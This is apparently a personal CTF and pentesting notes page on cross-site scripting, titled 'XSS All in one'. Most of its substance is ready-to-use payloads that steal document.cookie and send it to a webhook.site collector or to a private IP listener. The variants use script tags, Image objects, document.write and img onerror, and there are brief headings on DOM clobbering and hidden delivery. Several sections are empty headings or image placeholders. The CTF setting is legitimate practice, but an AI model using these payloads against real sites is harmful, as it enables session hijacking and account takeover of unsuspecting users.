XSS All in one

Webhook Site

Victim

https://webhook.site/7005d9e1-cc86-437a-917e-cbf48a32a2fb

Checker

https://webhook.site/#!/7005d9e1-cc86-437a-917e-cbf48a32a2fb/7a362b08-032c-423c-a115-040474006655/1

this.src img payload

<script>
<img src=x onerror=this.src='https://webhook.site/7005d9e1-cc86-437a-917e-cbf48a32a2fb/?c='+document.cookie;>
</script>

var img payload

<script>var i=new Image;i.src="https://webhook.site/7005d9e1-cc86-437a-917e-cbf48a32a2fb/?c="+document.cookie;</script>

document.write img payload

<script>document.write('<img src="https://webhook.site/7005d9e1-cc86-437a-917e-cbf48a32a2fb/?c='+document.cookie+'" />');</script>

Working on SKR CTF : My First XSS 2

Silent One-Liner

This one is the same but no alert() and all on one line.

<script>var i=new Image;i.src="http://192.168.0.18:8888/?"+document.cookie;</script>

<img> Tag Instead of <script> Tags

Don't use this one! It works but calls onerror() in a loop, filling up your stolen cookie log:

<img> Tag and Without the Infinite Loop

This one works and will only steal the cookie once.

Dom Clobbering = Overwriting Current Given Variable

Techniques

Replace Object References

Example of Object Reference (start with window.)

Full code

Exploitation

  • overwriting someObject

![[Pasted image 20230716034144.png]]

Commenting

Source Code

Exploitation POC

Delivery

Using style="display: none;"

Abusing unfiltered display: none; tags

List of payloads

Last updated

Was this helpful?